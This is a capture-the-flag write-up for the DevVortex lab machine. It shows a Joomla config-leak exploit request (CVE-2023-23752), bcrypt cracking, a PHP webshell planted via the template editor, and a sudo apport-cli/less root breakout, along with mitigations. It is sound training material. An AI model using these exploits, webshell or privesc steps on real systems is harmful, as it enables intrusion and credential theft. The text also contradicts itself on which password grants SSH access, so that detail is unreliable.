- OS: Linux
- Domain / vhosts:
devvortex.htb,dev.devvortex.htb
Summary
DevVortex is an Easy Linux box that chains an unauthenticated Joomla
information-disclosure CVE into authenticated admin access, then plain
credential reuse for SSH, then a sudo rule on apport-cli whose
View action shells into less and lets the operator break out to
root.
The chain:
- Vhost fuzzing on port 80 turns up
dev.devvortex.htb, a Joomla site that the apexdevvortex.htbdoes not advertise. - CVE-2023-23752 — the Joomla 4.x web-services API exposes
/api/index.php/v1/config/applicationwithout auth when called with the?public=truefilter, returning the rawconfiguration.phpcontents including the MySQL DSN and password. - The leaked DB creds (user
lewis) are valid for the local MySQL, where<prefix>_usersholds bcrypt hashes for super-userlewisand adminlogan.logan’s hash cracks with rockyou totequieromucho. - The same password is reused for OS auth:
ssh logan@<TARGET>. (Admin RCE via the Joomla template editor is the alternative foothold path and giveswww-data, but is not needed for the intended chain.) sudo -lshowsloganmay run/usr/bin/apport-clias root. CVE-2023-1326: whenapport-clidisplays a report that overflows the terminal, it pages throughless, andlesshonors!cmdto spawn a shell — which now runs as root.
Recon
$ nmap --privileged -sV -sC -p 22,80 --open <TARGET>
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: DevVortex
Two services. The HTTP root resolves to devvortex.htb but the apex
site is a static “Coming Soon” template with no Joomla artefacts
visible. nginx fronting a thin static page on an HTB box almost always
means there is at least one named vhost behind it; the Host: header
is the next thing to fuzz.
ffuf -u http://<TARGET>/ -H 'Host: FUZZ.devvortex.htb' \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt \
-fs <baseline-size>
dev.devvortex.htb returns a different content-length and renders a
Joomla install. Add it to /etc/hosts and continue everything against
that host header.
Web enumeration / surface mapping
The dev vhost is a complete Joomla site. Two cheap probes pin the exact branch:
GET /administrator/manifests/files/joomla.xml
→ <version>4.2.6</version>
GET /api/index.php/v1/config/application
→ {"errors":[{"title":"Forbidden"}]}
Joomla 4.x ships a public REST API at /api/index.php. The
config/application endpoint is auth-gated by default but is the
target of CVE-2023-23752, an access-control bypass in the
webservices component that lets an unauthenticated caller dump
backend config when the request includes the public=true filter.
robots.txt and the standard Joomla disallowed paths confirm the
install is otherwise default — /administrator/, /api/,
/components/, /modules/, etc. — nothing custom worth fuzzing
deeper before trying the CVE.
Foothold
CVE-2023-23752 — unauth config leak
Hit the same endpoint with the bypass query parameter:
GET /api/index.php/v1/config/application?public=true
Host: dev.devvortex.htb
The response is JSON containing every key from configuration.php,
the relevant ones being:
{
"user": "lewis",
"password": "<DB-PASSWORD>",
"db": "joomla",
"dbprefix": "sd4fg_"
}
The user field is the MySQL username, not a Joomla account.
There is no public network MySQL, so this credential is only useful
from inside the box at this stage — file it and keep going.
The same API also exposes /api/index.php/v1/users but it requires a
bearer token, so credential dumping has to wait until after the OS
foothold.
Password reuse → SSH
Joomla’s admin login at /administrator accepts the username lewis
with the leaked password — but the same password is also valid for
the OS user logan over SSH. The intended path skips the Joomla
admin step entirely:
ssh logan@<TARGET>
# Welcome to Ubuntu 20.04.6 LTS
logan@devvortex:~$ id
uid=1000(logan) gid=1000(logan) groups=1000(logan)
(Aside: the lewis account is also an SSH user, but lewis’s shell
is set up to deny interactive logins. logan is the working
foothold.)
Alternative path: Joomla template RCE → MySQL → hash crack
Documented for completeness because it’s the path most public walkthroughs take.
Logging in to /administrator as lewis, the template editor
(Templates → Site Templates → Cassiopeia → index.php) lets a Super
User write PHP into any template file — instant RCE as www-data:
<?php system($_GET['c']); ?>
curl 'http://dev.devvortex.htb/templates/cassiopeia/index.php?c=id'
# uid=33(www-data) gid=33(www-data)
A cleaner variant ships a one-file plg_system_jshell plugin that
hooks onAfterInitialise and runs system($_REQUEST['c']), then
installs it via Extensions → Manage → Install. That keeps the
original template clean and is more idiomatic for Joomla pentests.
From www-data, the leaked DSN authenticates against local MySQL:
mysql -ulewis -p joomla
SELECT name, username, email, password FROM sd4fg_users;
Two rows, both bcrypt:
lewis : $2y$10$... (super user — does not crack with rockyou)
logan : $2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12
hashcat -m 3200 logan.hash /usr/share/wordlists/rockyou.txt
# logan : tequieromucho
Either way, the OS password lands in the same place.
User flag
logan@devvortex:~$ cat ~/user.txt
Credential reuse between the Joomla admin password and the OS account is the entire user step.
Privilege escalation
sudo -l is the first thing to run as a new user, and it tells the
whole story:
logan@devvortex:~$ sudo -l
User logan may run the following commands on devvortex:
(ALL : ALL) /usr/bin/apport-cli
apport-cli is Ubuntu’s crash-reporter. Run with -c <file>, it
prompts the user with Send / View / Keep / Ignore /
Cancel for a crash report. The View action prints the report
to stdout, and if the output is taller than the terminal,
apport-cli pages it through $PAGER, which resolves to
/usr/bin/sensible-pager → less.
less, as a GTFOBin, runs !cmd as a child shell. Because the
parent process tree is sudo apport-cli, that child shell runs as
root. This is CVE-2023-1326 — the apport maintainers fixed it by
making the pager invocation refuse to drop to interactive subshells.
There must be a crash file to view. The system already has
_usr_bin_bash.1000.crash from the lab setup; if it is missing, any
crashable program run under logan produces a fresh *.crash under
/var/crash/.
The terminal also has to be small enough that the report does not
fit on one screen, otherwise apport-cli skips the pager entirely
and just dumps the report. Force a small TTY before invoking sudo:
stty rows 20 cols 80
sudo /usr/bin/apport-cli -c /var/crash/_usr_bin_bash.1000.crash
# *** Send problem report to the developers?
# Please choose (S/V/K/I/C): V
# ... report scrolls into less ...
:!/bin/bash
# root@devvortex:/home/logan# id
# uid=0(root) gid=0(root) groups=0(root)
# root@devvortex:/home/logan# cat /root/root.txt
The : is less’s command-mode prompt; !cmd is the standard
shell-out. Quit less afterwards with q to leave apport-cli
cleanly.
The bug is reliably driveable from expect — set stty rows 20
cols 80 before spawn, send V at the choose-prompt, then send
!/bin/bash\r once less is up.
Why each step worked
- Vhost-only content. The apex site advertises nothing, so a
pentester who only scans
devvortex.htbsees no Joomla. Always fuzzHost:headers when nginx is the front door — vhosts are a cheap form of obscurity that passive web scanners miss. - CVE-2023-23752. Joomla’s webservices ACL did not gate the
config/applicationview when the request matched the “public” filter. The fix in 4.2.8 added an explicit auth check. The class of bug — public filter flag bypassing ACL — is a recurring CMS pattern; track it on every CMS that exposes filterable APIs. - Bcrypt + rockyou. Joomla’s bcrypt cost is 10 by default. A
~14M-line wordlist hashes in minutes against a single hash on a
laptop GPU. Cracking is only viable because the password is in the
wordlist;
tequieromuchohappens to be in rockyou. Don’t bring large wordlists if a small one will do. - Joomla template editor → RCE. Joomla’s Super User role can
edit template
.phpfiles from the admin UI. Any CMS that lets an admin write files inside the document root has admin-equals-RCE by design; this is not a CVE, it is the threat model. - Credential reuse.
logan’s Joomla password =logan’s OS password. Always retry creds across the SSH/RDP/SMB surfaces of the same host before doing more work. - CVE-2023-1326 / apport
lessbreakout.apport-cli’sViewbranched intolessfor pagination without settingLESSSECUREor replacing the pager.lessis GTFOBin:!cmdruns a subshell. Sudo rules on tools that internally page output are equivalent to sudo on the pager.
Counterfactuals
Any one of these, in ascending order of effort, breaks the chain:
- Patch Joomla to ≥4.2.8 — closes the unauthenticated config
leak. No DSN means no DB access means no
loganhash. - Use distinct passwords for Joomla and OS accounts — even with
a cracked hash,
loganwould not log in over SSH. - Use a Joomla password not in rockyou — a 16-char random password defeats bcrypt cracking on a hobby budget.
- Drop the
apport-clisudo rule, or replace it with a wrapper that setsLESSSECURE=1and runs apport with a non-interactive pager. Same effect: no sudo-pager-breakout. - Patch apport to the CVE-2023-1326 fix — apport now refuses to run interactive child commands during report viewing.
Key Takeaways
- Always vhost-fuzz when the apex site is content-thin.
- Joomla 4.x: probe
/api/index.php/v1/config/application?public=truereflexively. It’s one request and it’s a credential leak when it lands. - Any sudo rule on a binary that paginates through
less/more/man/viewis a privesc. The list of GTFOBins-as-pager is short and worth memorising. - Force a small TTY (
stty rows 20 cols 80) before driving pagination-dependent breakouts. Resizing the parent terminal defeats the bug; settingsttyinside the SSH session is enough. - When the dump shows two cracked-looking hashes, target the
lower-privilege OS-shell account first.
loganhad a real shell;lewisdid not, so crackinglewiswould have wasted time.
References
Sanitization checklist
- No lab IPs (uses
<TARGET>). - No flag values.
- The OS password
tequieromuchois the published rockyou crack and is required to make the writeup reproducible. The DB password and bcrypt hash forlewisare not printed. - No SSH keys, session cookies, or other key material.